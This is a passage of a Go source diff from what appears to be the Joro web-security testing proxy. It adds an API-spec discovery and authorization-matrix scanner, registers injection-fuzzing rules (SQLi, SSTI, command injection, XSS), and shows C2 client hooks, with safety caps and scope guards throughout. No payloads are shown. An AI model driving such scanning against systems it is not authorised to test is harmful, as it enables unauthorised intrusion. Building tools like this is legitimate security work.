||||
"github.com/BishopFox/joro/internal/configstore"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/feeds"
|
||||
"github.com/BishopFox/joro/internal/fuzzer"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
"github.com/BishopFox/joro/internal/jsautomation"
|
||||
"github.com/BishopFox/joro/internal/mcp"
|
||||
"github.com/BishopFox/joro/internal/mythic"
|
||||
"github.com/BishopFox/joro/internal/notes"
|
||||
"github.com/BishopFox/joro/internal/oast"
|
||||
"github.com/BishopFox/joro/internal/plugins"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/sliver"
|
||||
"github.com/BishopFox/joro/internal/team"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
"github.com/BishopFox/joro/internal/trigger"
|
||||
"github.com/BishopFox/joro/internal/update"
|
||||
"github.com/BishopFox/joro/internal/webhook"
|
||||
@@ -99,12 +116,54 @@ type APIServer struct {
|
||||
fuzzerStore *fuzzer.Store
|
||||
pluginManager *plugins.Manager
|
||||
|
||||
// SJ: parsed API description documents and the runs driven from them. Both
|
||||
// are session state and neither reaches the project file — a document is
|
||||
// re-fetchable from History because the fetch went through the proxy, and an
|
||||
// auth profile holds a credential, which is why webhooks.json's secrets are
|
||||
// kept out of a project file too. See handlers_spec.go.
|
||||
specStore *apiscan.SpecStore
|
||||
specRuns *apiscan.Store
|
||||
|
||||
// Workflow chains and their sweeps. Unlike the two above, chains ARE project
|
||||
// data: a chain describes one application's checkout and is useful to a
|
||||
// teammate who opens the same project, and nothing installed references one,
|
||||
// so trigger/store.go's machine-global rule does not apply. Runs are session
|
||||
// state and are cleared on a project switch.
|
||||
chainStore *chain.Store
|
||||
chainRuns *chainrun.Store
|
||||
|
||||
// Active scanning: operator-initiated rules that drive a target and file
|
||||
// findings into the shared detect store. Both are nil in listener/team mode
|
||||
// (the routes are proxy-mode only); runs are session state cleared on a
|
||||
// project switch, and the registry is the rule set the host offers.
|
||||
activeScans *activescan.Store
|
||||
activeScanRules *activescan.Registry
|
||||
|
||||
// Passive detection. All three are nil in listener and team-server mode; the
|
||||
// detect routes are gated on proxy mode in registerRoutes, so only the shared
|
||||
// config paths need nil guards.
|
||||
detectEngine *detect.Engine
|
||||
detectFindings *detect.Store
|
||||
detectScanner *detect.Scanner
|
||||
anomalyEngine *anomaly.Engine
|
||||
|
||||
// Reflection mapping (the Echo tab). The map is session state and is
|
||||
// rebuilt by a rescan, for the reason SJ's stores are: it is derived from
|
||||
// history and holds no triage of its own. Only its config travels with the
|
||||
// project, and only a breakout reaches detectFindings. See internal/echo.
|
||||
echoEngine *echo.Engine
|
||||
echoStore *echo.Store
|
||||
|
||||
// Passive technology fingerprinting (the embedded Wappalyzer database). Nil
|
||||
// outside proxy mode. The active-scan signature rule reads its store to run
|
||||
// only the checks a host's stack warrants. See internal/techfp.
|
||||
techEngine *techfp.Engine
|
||||
|
||||
// Out-of-band confirmation: correlates the callback server's response hash
|
||||
// back into captured traffic and mints confirmed CategoryOOB findings. Nil
|
||||
// outside proxy mode. See internal/oast.
|
||||
oastEngine *oast.Engine
|
||||
|
||||
// detectCtx is the server-lifetime context, so a rescan job can outlive the
|
||||
// HTTP request that started it. Guarded by mu.
|
||||
detectCtx context.Context
|
||||
@@ -156,6 +215,15 @@ type APIServer struct {
|
||||
webhookDeliver *webhook.Deliverer
|
||||
webhookDispatch *webhook.Dispatcher
|
||||
|
||||
// Threat-intelligence feeds. Independent of automation and of webhooks: a curated,
|
||||
// read-only aggregator (NVD / CISA KEV / advisory headlines) the dashboard renders.
|
||||
// Both nil under --no-feeds, in listener mode, or when feeds.json could not be read.
|
||||
// feedsCtx is the server-lifetime context so a refresh kicked from a handler outlives
|
||||
// the request; set once in startFeedsLoop before serving. See feeds_wire.go.
|
||||
feeds *feeds.Aggregator
|
||||
feedsStore *feeds.SettingsStore
|
||||
feedsCtx context.Context
|
||||
|
||||
buildInfo BuildInfo
|
||||
cancelFunc context.CancelFunc
|
||||
restart bool
|
||||
@@ -176,6 +244,9 @@ type APIServer struct {
|
||||
settings Settings
|
||||
activeUserConfig string
|
||||
activeProjectConfig string
|
||||
// oastDomain is the callback domain the OAST confirmer harvests tokens under,
|
||||
// seeded from --domain and best-effort refreshed from the listener. Guarded by mu.
|
||||
oastDomain string
|
||||
lastSaveSig string // fingerprint of live state at last save (auto-save skip)
|
||||
|
||||
// pendingUserPluginStates / pendingProjectPluginStates preserve plugin
|
||||
@@ -246,6 +317,11 @@ func New(
|
||||
sliverClient: sc,
|
||||
mythicClient: mc,
|
||||
fuzzerStore: fuzzer.NewStore(),
|
||||
specStore: apiscan.NewSpecStore(),
|
||||
specRuns: apiscan.NewStore(),
|
||||
chainStore: chain.NewStore(),
|
||||
chainRuns: chainrun.NewStore(),
|
||||
activeScans: activescan.NewStore(),
|
||||
pluginManager: pluginManager,
|
||||
|
||||
detectEngine: detectEngine,
|
||||
@@ -271,11 +347,49 @@ func New(
|
||||
DisableUpdateChecks: cfg.DisableUpdateChecks,
|
||||
},
|
||||
}
|
||||
// Anomaly analysis writes into the same findings store as detect, but computes
|
||||
// per-host baselines the detect engine's stateless scan path cannot. Built here
|
||||
// so it can read the live detect config every cycle and push the shared summary.
|
||||
s.anomalyEngine = anomaly.NewEngine(
|
||||
store, scope, detectFindings,
|
||||
detectEngine.Config, hub.Broadcast(), s.broadcastDetectSummary)
|
||||
// Reflection mapping writes into the same findings store, and for the same
|
||||
// reason is built here: it needs the shared summary push.
|
||||
s.echoStore = echo.NewStore(0)
|
||||
s.echoEngine = echo.NewEngine(
|
||||
s.echoStore, store, scope, detectFindings,
|
||||
hub.Broadcast(), s.broadcastDetectSummary)
|
||||
// Passive technology fingerprinting over the same capture store. Built here so
|
||||
// it rides the one cursor-reset path (resetDetectCursor) the other passive
|
||||
// analyzers use.
|
||||
s.techEngine = techfp.NewEngine(techfp.NewStore(), store, hub.Broadcast())
|
||||
// Out-of-band confirmer. Writes into the same findings store; built here so it
|
||||
// rides the one cursor-reset path and pushes the shared summary. The token DB
|
||||
// lives in the listener process, so it harvests expected hashes from captured
|
||||
// callback hostnames under oastDomain (from --domain or refreshed later).
|
||||
s.oastDomain = cfg.CallbackDomain
|
||||
s.oastEngine = oast.NewEngine(
|
||||
store, detectFindings, s.callbackDomainForOAST,
|
||||
hub.Broadcast(), s.broadcastDetectSummary)
|
||||
// Active-scan rule set. The registry is built here (not a package global, per
|
||||
// the no-globals rule) so the api layer can import both activescan and its
|
||||
// rules without an import cycle.
|
||||
s.activeScanRules = activescan.NewRegistry()
|
||||
s.activeScanRules.Register(domxss.New())
|
||||
s.activeScanRules.Register(templatesig.New())
|
||||
// Injection-fuzzing rules (parameter mutation + differential/timing/OAST).
|
||||
s.activeScanRules.Register(reflectedxss.New())
|
||||
s.activeScanRules.Register(sqli.New())
|
||||
s.activeScanRules.Register(ssti.New())
|
||||
s.activeScanRules.Register(cmdi.New())
|
||||
s.activeScanRules.Register(openredirect.New())
|
||||
s.activeScanRules.Register(pathtraversal.New())
|
||||
// Both stores are built here rather than in SetAutomation, because both outlive
|
||||
// automation: a webhook references a trigger, and neither needs an agent to be useful.
|
||||
// See initTriggers for why the trigger store moved out of newScriptManager.
|
||||
s.initTriggers()
|
||||
s.initWebhooks()
|
||||
s.initFeeds()
|
||||
return s
|
||||
}
|
||||
|
||||
@@ -387,6 +501,9 @@ func (s *APIServer) Start(ctx context.Context) error {
|
||||
// No-ops entirely under --no-webhooks. Started after automation so the run
|
||||
// watcher startScriptTriggers registers is already in place.
|
||||
s.startWebhooks(ctx)
|
||||
// No-ops entirely under --no-feeds. Fetches nothing until the operator enables
|
||||
// feeds in Settings or on the Dashboard.
|
||||
s.startFeedsLoop(ctx)
|
||||
}
|
||||
|
||||
// Serve frontend (skip in listener mode - listener is API-only).
|
||||
|
||||
@@ -0,0 +1,414 @@
|
||||
// Package apiscan drives requests built from an API description document.
|
||||
//
|
||||
// It is separate from internal/apispec on purpose. apispec is a leaf: it parses
|
||||
// and projects, imports nothing from the rest of Joro, and cannot send. This
|
||||
// package is where the worker pool, the rate limiter, the budget, the claim set
|
||||
// and the event shapes live — none of which belong in a package whose reason to
|
||||
// exist is that a parser for another description language can be a sibling file
|
||||
// returning the same *apispec.Spec. Passing a send callback into apispec would
|
||||
// satisfy the import rule while breaking that one. internal/fuzzer and
|
||||
// internal/detect are split the same way.
|
||||
//
|
||||
// # One runner, not two
|
||||
//
|
||||
// A scan is an auth matrix with a single profile. The work item is a pair of one
|
||||
// operation and one profile; a scan enqueues len(ops), a matrix enqueues
|
||||
// len(ops) x len(profiles), and the execution is identical. Only the view
|
||||
// differs. Two runners would duplicate the pool, the limiter, the claim set and
|
||||
// the results shape, would drift, and would leave two places for the destructive
|
||||
// gate to be forgotten.
|
||||
//
|
||||
// # Everything goes through Joro's own proxy
|
||||
//
|
||||
// Sends use httptools.SendViaProxy, so every request is captured into History,
|
||||
// scanned by the detect engine, entered into the site map, filtered by scope and
|
||||
// rewritten by Match & Replace and Custom Data. Scanning an API's whole surface
|
||||
// is therefore the act that populates the rest of the tool, which is the reason
|
||||
// this feature is worth having inside Joro rather than beside it. The costs come
|
||||
// with it: HTTP/1.1 only, an armed request intercept pauses every send in the
|
||||
// operator's queue, and a large sweep occupies rows in a capture ring buffer.
|
||||
package apiscan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/apispec"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// Kind is what a run does.
|
||||
type Kind string
|
||||
|
||||
const (
|
||||
KindScan Kind = "scan"
|
||||
KindMatrix Kind = "matrix"
|
||||
KindDiscovery Kind = "discovery"
|
||||
)
|
||||
|
||||
// Status is a run's lifecycle state.
|
||||
type Status string
|
||||
|
||||
const (
|
||||
StatusRunning Status = "running"
|
||||
StatusComplete Status = "complete"
|
||||
StatusStopped Status = "stopped"
|
||||
)
|
||||
|
||||
// Caps. Sized against the fuzzer, the way httptools' batch caps are: past a few
|
||||
// thousand rows the right answer is "drive the fuzzer", and the refusal says so.
|
||||
const (
|
||||
MaxRequestsPerRun = 2000
|
||||
MaxProfiles = 8
|
||||
MaxRuns = 20
|
||||
MaxSpecs = 8
|
||||
|
||||
DefaultConcurrency = 4
|
||||
MaxConcurrency = 20
|
||||
MaxRatePerSec = 50
|
||||
|
||||
DefaultTimeoutMs = 10000
|
||||
MaxTimeoutMs = 60000
|
||||
DefaultBudgetMs = 600000
|
||||
MaxBudgetMs = 1800000
|
||||
|
||||
// Discovery runs hotter than a scan: the candidates are unauthenticated GETs
|
||||
// against one host, and a scan's default of 4 would make a full sweep crawl.
|
||||
DefaultDiscoveryConcurrency = 10
|
||||
MaxDiscoveryFollows = 50
|
||||
MaxFollowDepth = 3
|
||||
|
||||
// ChallengeLimit stops a sweep once a WAF is clearly answering. Continuing
|
||||
// spends thousands of requests to learn nothing, and looks exactly like the
|
||||
// attack the WAF is there to stop.
|
||||
ChallengeLimit = 20
|
||||
)
|
||||
|
||||
// Profile is one authentication state a run tests under.
|
||||
type Profile struct {
|
||||
ID string `json:"id"`
|
||||
Label string `json:"label"`
|
||||
|
||||
// Rank orders profiles by privilege, 0 being anonymous. It is what makes a
|
||||
// matrix verdict a statement rather than a comparison of two arbitrary
|
||||
// credential sets: "a lower rank reached what only a higher rank should"
|
||||
// needs an ordering to mean anything.
|
||||
Rank int `json:"rank"`
|
||||
|
||||
// Auth never leaves the process. A run result names the profile; it never
|
||||
// carries what satisfied it.
|
||||
Auth apispec.Auth `json:"-"`
|
||||
}
|
||||
|
||||
// Config is everything a run needs, snapshotted at start so an edit to the spec
|
||||
// mid-run cannot change what is being sent.
|
||||
type Config struct {
|
||||
Kind Kind
|
||||
SpecID string
|
||||
|
||||
Server apispec.Server
|
||||
Ops []apispec.Operation
|
||||
Values map[string]apispec.Values // keyed by operation ID
|
||||
|
||||
Profiles []Profile
|
||||
|
||||
Concurrency int
|
||||
RatePerSec float64
|
||||
TimeoutMs int
|
||||
BudgetMs int
|
||||
|
||||
UserAgent string
|
||||
|
||||
// AllowDestructive and Methods are the two halves of the safety gate. They
|
||||
// are configuration rather than a parse-time skip, because the operator must
|
||||
// be able to see the whole API surface and then tick the one they meant.
|
||||
AllowDestructive bool
|
||||
Methods []string
|
||||
|
||||
// Discovery only.
|
||||
Scheme string
|
||||
Host string
|
||||
BasePath string
|
||||
CandidateSet apispec.CandidateSet
|
||||
StopOnFirst bool
|
||||
}
|
||||
|
||||
// Triage is the three-band rubric, computed server-side and shipped on the
|
||||
// result so the frontend never recomputes it — one fewer mirror to keep in sync.
|
||||
type Triage string
|
||||
|
||||
const (
|
||||
TriageGood Triage = "good" // 2xx: the request was accepted
|
||||
TriageBad Triage = "bad" // 401/403/404: refused or absent
|
||||
TriageWarn Triage = "warn" // everything else, including transport failure
|
||||
)
|
||||
|
||||
// TriageOf applies the rubric. sj's colouring is the same shape; the names are
|
||||
// chosen so the UI can pick glyph and colour without a second table.
|
||||
func TriageOf(status int, err string) Triage {
|
||||
if err != "" {
|
||||
return TriageWarn
|
||||
}
|
||||
switch {
|
||||
case status >= 200 && status < 300:
|
||||
return TriageGood
|
||||
case status == 401 || status == 403 || status == 404:
|
||||
return TriageBad
|
||||
default:
|
||||
return TriageWarn
|
||||
}
|
||||
}
|
||||
|
||||
// Result is one work item's outcome. A skipped item still occupies its slot, so
|
||||
// the client can correlate every row back to what it asked for.
|
||||
type Result struct {
|
||||
Index int `json:"index"`
|
||||
OpID string `json:"opId,omitempty"`
|
||||
ProfileID string `json:"profileId,omitempty"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
|
||||
// ReqPath is the origin-form actually rendered — path and query, every
|
||||
// placeholder resolved. Path stays the document's template, because that is
|
||||
// what a row correlates back to and what a skipped row has instead; ReqPath is
|
||||
// what the operator reads to see the values that went out, without opening the
|
||||
// row. Empty when the item never rendered.
|
||||
ReqPath string `json:"reqPath,omitempty"`
|
||||
|
||||
// Seq and RequestID address the History row this send produced. Seq is 0 and
|
||||
// RequestID empty when the send was not captured, which is a normal outcome
|
||||
// — a noise-filtered host, or one outside the proxy's capture scope — and
|
||||
// SeqNote says which.
|
||||
Seq int `json:"seq"`
|
||||
RequestID string `json:"requestId,omitempty"`
|
||||
SeqNote string `json:"seqNote,omitempty"`
|
||||
|
||||
Status int `json:"status"`
|
||||
Len int `json:"len"`
|
||||
DurationMs int64 `json:"ms"`
|
||||
BodyHash string `json:"bhash,omitempty"`
|
||||
StructHash string `json:"shash,omitempty"`
|
||||
Words int `json:"words,omitempty"`
|
||||
Lines int `json:"lines,omitempty"`
|
||||
Note string `json:"note,omitempty"`
|
||||
Triage Triage `json:"triage"`
|
||||
|
||||
Error string `json:"error,omitempty"`
|
||||
Skipped string `json:"skipped,omitempty"` // destructive | method | budget | render
|
||||
|
||||
// Discovery only.
|
||||
ContentType string `json:"contentType,omitempty"`
|
||||
BodyKind apispec.BodyKind `json:"bodyKind,omitempty"`
|
||||
SpecTitle string `json:"specTitle,omitempty"`
|
||||
SpecFormat string `json:"specFormat,omitempty"`
|
||||
SpecOps int `json:"specOps,omitempty"`
|
||||
|
||||
ReqRaw []byte `json:"-"`
|
||||
RespRaw []byte `json:"-"`
|
||||
}
|
||||
|
||||
// Run is one execution. Counters are read while it is in flight, so every
|
||||
// accessor takes the lock.
|
||||
type Run struct {
|
||||
ID string `json:"id"`
|
||||
Kind Kind `json:"kind"`
|
||||
SpecID string `json:"specId,omitempty"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
Total int `json:"total"`
|
||||
|
||||
Config Config `json:"-"`
|
||||
|
||||
mu sync.RWMutex
|
||||
status Status
|
||||
completed int
|
||||
errors int
|
||||
skipped int
|
||||
hits int
|
||||
challenges int
|
||||
results []Result
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// NewRun creates a run in the running state with its result slots pre-sized.
|
||||
//
|
||||
// Slots are indexed, never appended: idx = opIndex*len(profiles) + profileIndex.
|
||||
// That makes the matrix pivot index arithmetic rather than a search, and it
|
||||
// means a send that failed still occupies the slot the client asked about.
|
||||
func NewRun(id string, cfg Config, total int) *Run {
|
||||
return &Run{
|
||||
ID: id,
|
||||
Kind: cfg.Kind,
|
||||
SpecID: cfg.SpecID,
|
||||
CreatedAt: time.Now(),
|
||||
Total: total,
|
||||
Config: cfg,
|
||||
status: StatusRunning,
|
||||
results: newResults(cfg.Kind, total),
|
||||
}
|
||||
}
|
||||
|
||||
// newResults sizes the result slice for how the run fills it. A scan and a
|
||||
// matrix write by index, so theirs is pre-sized; discovery appends, so a
|
||||
// pre-sized slice would leave `total` blank rows in front of every real one.
|
||||
func newResults(kind Kind, total int) []Result {
|
||||
if kind == KindDiscovery {
|
||||
return make([]Result, 0, total)
|
||||
}
|
||||
out := make([]Result, total)
|
||||
// Each slot knows its position before anything fills it: a run is read while
|
||||
// still going, and an unfilled slot carrying index 0 would claim row 0.
|
||||
for i := range out {
|
||||
out[i].Index = i
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Status reports the run's state.
|
||||
func (r *Run) Status() Status {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.status
|
||||
}
|
||||
|
||||
// Counts reports progress.
|
||||
func (r *Run) Counts() (completed, errors, skipped, hits int) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.completed, r.errors, r.skipped, r.hits
|
||||
}
|
||||
|
||||
// Results returns a copy of the result slice with raw bodies stripped, which is
|
||||
// what every list endpoint wants; raws are fetched one at a time by index.
|
||||
func (r *Run) Results() []Result {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]Result, len(r.results))
|
||||
for i, res := range r.results {
|
||||
res.ReqRaw, res.RespRaw = nil, nil
|
||||
out[i] = res
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ResultAt returns one result including its raw bodies.
|
||||
func (r *Run) ResultAt(i int) (Result, bool) {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
if i < 0 || i >= len(r.results) {
|
||||
return Result{}, false
|
||||
}
|
||||
return r.results[i], true
|
||||
}
|
||||
|
||||
// setResult stores one outcome and advances the counters.
|
||||
//
|
||||
// Takes a pointer because the caller broadcasts the same value it stored, and
|
||||
// Index is the only thing addressing a row: stamping it on a copy would leave
|
||||
// every emitted result at index 0, collapsing a whole run onto one row in the
|
||||
// client. The signature is what carries that obligation to the next caller.
|
||||
func (r *Run) setResult(i int, res *Result) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if i < 0 || i >= len(r.results) {
|
||||
return
|
||||
}
|
||||
res.Index = i
|
||||
r.results[i] = *res
|
||||
r.completed++
|
||||
switch {
|
||||
case res.Error != "":
|
||||
r.errors++
|
||||
case res.Skipped != "":
|
||||
r.skipped++
|
||||
}
|
||||
if res.BodyKind == apispec.KindSpec {
|
||||
r.hits++
|
||||
}
|
||||
}
|
||||
|
||||
// appendResult stores an outcome whose index is not known in advance, which is
|
||||
// discovery's shape: a followed reference is found mid-run, not enumerated.
|
||||
// Pointer for the reason setResult is.
|
||||
func (r *Run) appendResult(res *Result) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
res.Index = len(r.results)
|
||||
r.results = append(r.results, *res)
|
||||
r.completed++
|
||||
if res.Error != "" {
|
||||
r.errors++
|
||||
}
|
||||
if res.BodyKind == apispec.KindSpec {
|
||||
r.hits++
|
||||
}
|
||||
if r.completed > r.Total {
|
||||
r.Total = r.completed
|
||||
}
|
||||
}
|
||||
|
||||
// noteChallenge counts a WAF interstitial and reports whether the run should
|
||||
// give up. The counter lives on the Run rather than in a package variable, so
|
||||
// two concurrent runs cannot exhaust each other's budget — sj keeps the
|
||||
// equivalent as package state.
|
||||
func (r *Run) noteChallenge() bool {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.challenges++
|
||||
return r.challenges >= ChallengeLimit
|
||||
}
|
||||
|
||||
func (r *Run) finish(s Status) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if r.status == StatusRunning {
|
||||
r.status = s
|
||||
}
|
||||
}
|
||||
|
||||
// Stop cancels a running run.
|
||||
func (r *Run) Stop() bool {
|
||||
r.mu.Lock()
|
||||
cancel := r.cancel
|
||||
running := r.status == StatusRunning
|
||||
if running {
|
||||
r.status = StatusStopped
|
||||
}
|
||||
r.mu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
return running
|
||||
}
|
||||
|
||||
func (r *Run) setCancel(cancel context.CancelFunc) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.cancel = cancel
|
||||
}
|
||||
|
||||
// Deps is what a run needs from the host process.
|
||||
type Deps struct {
|
||||
// Send carries the proxy address, CA and capture store. Claims is filled in
|
||||
// per run by Execute; a caller must not share one across runs.
|
||||
Send httptools.SendDeps
|
||||
|
||||
// Broadcast is the hub's channel. It is chan<- any, matching
|
||||
// api.Hub.Broadcast and fuzzer.Run, and carries event.WSEvent values.
|
||||
Broadcast chan<- any
|
||||
}
|
||||
|
||||
// clampInt keeps a client-supplied knob inside its bounds.
|
||||
func clampInt(v, def, lo, hi int) int {
|
||||
if v == 0 {
|
||||
return def
|
||||
}
|
||||
if v < lo {
|
||||
return lo
|
||||
}
|
||||
if v > hi {
|
||||
return hi
|
||||
}
|
||||
return v
|
||||
}
|
||||
@@ -0,0 +1,315 @@
|
||||
package apiscan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/apispec"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// PlanDiscovery builds the candidate list and validates the target.
|
||||
func PlanDiscovery(cfg Config) ([]string, error) {
|
||||
// The same rule the render path applies. Discovery builds its probes by
|
||||
// concatenation, so without this it is the one send path with no guard on
|
||||
// where it points.
|
||||
if err := apispec.ValidateHost(cfg.Host); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
scheme := strings.ToLower(cfg.Scheme)
|
||||
if scheme != "http" && scheme != "https" {
|
||||
return nil, fmt.Errorf("scheme must be http or https")
|
||||
}
|
||||
paths := apispec.CandidatePaths(cfg.BasePath, cfg.CandidateSet)
|
||||
if len(paths) == 0 {
|
||||
return nil, fmt.Errorf("no candidates to try")
|
||||
}
|
||||
return paths, nil
|
||||
}
|
||||
|
||||
// Discover sweeps a host for API description documents.
|
||||
//
|
||||
// Two differences from sj's brute, both deliberate. It reports every document it
|
||||
// finds rather than stopping at the first: a tab has a list, and a target
|
||||
// routinely serves /v2/api-docs alongside /v3/api-docs, or a public document
|
||||
// beside an internal one, and the second is often the interesting one. And a
|
||||
// reference discovered in a page is followed only when it stays on the run's own
|
||||
// host — sj resolves any absolute reference, which lets a page the target
|
||||
// controls redirect the sweep onto a third party.
|
||||
func Discover(ctx context.Context, run *Run, paths []string, d Deps, onSpec func(*apispec.Spec, []byte)) {
|
||||
cfg := run.Config
|
||||
|
||||
conc := clampInt(cfg.Concurrency, DefaultDiscoveryConcurrency, 1, MaxConcurrency)
|
||||
perItem := time.Duration(clampInt(cfg.TimeoutMs, DefaultTimeoutMs, 1000, MaxTimeoutMs)) * time.Millisecond
|
||||
budget := time.Duration(clampInt(cfg.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
|
||||
|
||||
runCtx, cancel := context.WithTimeout(ctx, budget)
|
||||
defer cancel()
|
||||
run.setCancel(cancel)
|
||||
|
||||
var limiter <-chan time.Time
|
||||
if cfg.RatePerSec > 0 {
|
||||
rate := min(cfg.RatePerSec, MaxRatePerSec)
|
||||
tick := time.NewTicker(time.Duration(float64(time.Second) / rate))
|
||||
defer tick.Stop()
|
||||
limiter = tick.C
|
||||
}
|
||||
|
||||
sendDeps := d.Send
|
||||
sendDeps.Claims = httptools.NewClaimSet()
|
||||
|
||||
origin := cfg.Scheme + "://" + cfg.Host
|
||||
start := time.Now()
|
||||
broadcast(d, "spec.run.started", map[string]any{
|
||||
"runId": run.ID, "kind": string(run.Kind), "total": run.Total, "host": cfg.Host,
|
||||
})
|
||||
|
||||
// seen guards both the enumerated candidates and anything followed out of a
|
||||
// page, so a reference back to a path already tried costs nothing.
|
||||
var seenMu sync.Mutex
|
||||
seen := map[string]bool{}
|
||||
follows := 0
|
||||
|
||||
claimFollow := func(u string) bool {
|
||||
seenMu.Lock()
|
||||
defer seenMu.Unlock()
|
||||
if seen[u] || follows >= MaxDiscoveryFollows {
|
||||
return false
|
||||
}
|
||||
seen[u] = true
|
||||
follows++
|
||||
return true
|
||||
}
|
||||
|
||||
var stopped bool
|
||||
var stopOnce sync.Once
|
||||
halt := func(reason string) {
|
||||
stopOnce.Do(func() {
|
||||
stopped = true
|
||||
broadcast(d, "spec.run.warning", map[string]any{
|
||||
"runId": run.ID, "kind": "challenge", "detail": reason,
|
||||
})
|
||||
cancel()
|
||||
})
|
||||
}
|
||||
|
||||
// Declared before assignment because it follows references by calling itself.
|
||||
var probe func(target string, depth int)
|
||||
probe = func(target string, depth int) {
|
||||
if runCtx.Err() != nil {
|
||||
return
|
||||
}
|
||||
raw := "GET " + pathOf(target) + " HTTP/1.1\r\nHost: " + cfg.Host + "\r\n" +
|
||||
"User-Agent: " + apispec.UserAgentOr(cfg.UserAgent) + "\r\n" +
|
||||
"Accept: application/json, text/yaml, text/html, */*\r\n\r\n"
|
||||
|
||||
itemCtx, itemCancel := context.WithTimeout(runCtx, perItem)
|
||||
sent, err := httptools.SendViaProxy(itemCtx, []byte(raw), cfg.Scheme, cfg.Host, sendDeps)
|
||||
itemCancel()
|
||||
|
||||
res := Result{URL: target, Method: "GET", Path: pathOf(target)}
|
||||
if err != nil {
|
||||
res.Error = shortErr(err)
|
||||
res.Triage = TriageWarn
|
||||
res.BodyKind = apispec.KindNone
|
||||
run.appendResult(&res)
|
||||
emitResult(d, run, res)
|
||||
return
|
||||
}
|
||||
|
||||
applyFingerprint(&res, sent)
|
||||
body := bodyOf(sent.RespRaw)
|
||||
|
||||
switch {
|
||||
case apispec.LooksLikeChallenge(body):
|
||||
res.BodyKind = apispec.KindChallenge
|
||||
if run.noteChallenge() {
|
||||
halt("the target is answering with a bot-check interstitial; further requests would learn nothing")
|
||||
}
|
||||
case apispec.ShouldSkipContentType(res.ContentType):
|
||||
res.BodyKind = apispec.KindSkip
|
||||
default:
|
||||
res.BodyKind = classify(body, res.ContentType, target, run, d, onSpec, &res)
|
||||
}
|
||||
|
||||
run.appendResult(&res)
|
||||
emitResult(d, run, res)
|
||||
|
||||
// Follow references out of a UI page or an initializer.
|
||||
if depth < MaxFollowDepth && (res.BodyKind == apispec.KindReference || res.BodyKind == apispec.KindNone) {
|
||||
for _, ref := range apispec.ExtractSpecRefs(body, target) {
|
||||
// Same-host only, and that is the whole guard. A reference
|
||||
// off-origin is a scope escape, not a discovery — including the
|
||||
// public sample document Swagger UI ships as its stock default,
|
||||
// which is the case a separate demo-host filter used to catch.
|
||||
// Such a filter is worse than redundant here: it can only ever be
|
||||
// reached by a same-origin reference, so the one time it fires is
|
||||
// when the operator is deliberately sweeping a sample host, and it
|
||||
// refuses to follow that host's own initializer.
|
||||
if !apispec.SameHost(ref, origin) {
|
||||
continue
|
||||
}
|
||||
if !claimFollow(ref) {
|
||||
continue
|
||||
}
|
||||
probe(ref, depth+1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
work := make(chan string, conc)
|
||||
var wg sync.WaitGroup
|
||||
for range conc {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for target := range work {
|
||||
if limiter != nil {
|
||||
select {
|
||||
case <-runCtx.Done():
|
||||
return
|
||||
case <-limiter:
|
||||
}
|
||||
}
|
||||
if runCtx.Err() != nil {
|
||||
return
|
||||
}
|
||||
probe(target, 0)
|
||||
if cfg.StopOnFirst {
|
||||
if _, _, _, hits := run.Counts(); hits > 0 {
|
||||
cancel()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for _, p := range paths {
|
||||
full := origin + p
|
||||
seenMu.Lock()
|
||||
dup := seen[full]
|
||||
seen[full] = true
|
||||
seenMu.Unlock()
|
||||
if dup {
|
||||
continue
|
||||
}
|
||||
select {
|
||||
case work <- full:
|
||||
case <-runCtx.Done():
|
||||
}
|
||||
if runCtx.Err() != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
close(work)
|
||||
wg.Wait()
|
||||
|
||||
if stopped {
|
||||
run.finish(StatusStopped)
|
||||
}
|
||||
finishRun(d, run, start)
|
||||
}
|
||||
|
||||
// classify decides what one discovery response turned out to be, loading any
|
||||
// document it finds.
|
||||
func classify(
|
||||
body []byte, contentType, target string, run *Run, d Deps,
|
||||
onSpec func(*apispec.Spec, []byte), res *Result,
|
||||
) apispec.BodyKind {
|
||||
if res.Status < 200 || res.Status >= 400 || len(body) == 0 {
|
||||
return apispec.KindNone
|
||||
}
|
||||
|
||||
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") || apispec.LooksLikeHTMLDocument(body)
|
||||
if isHTML {
|
||||
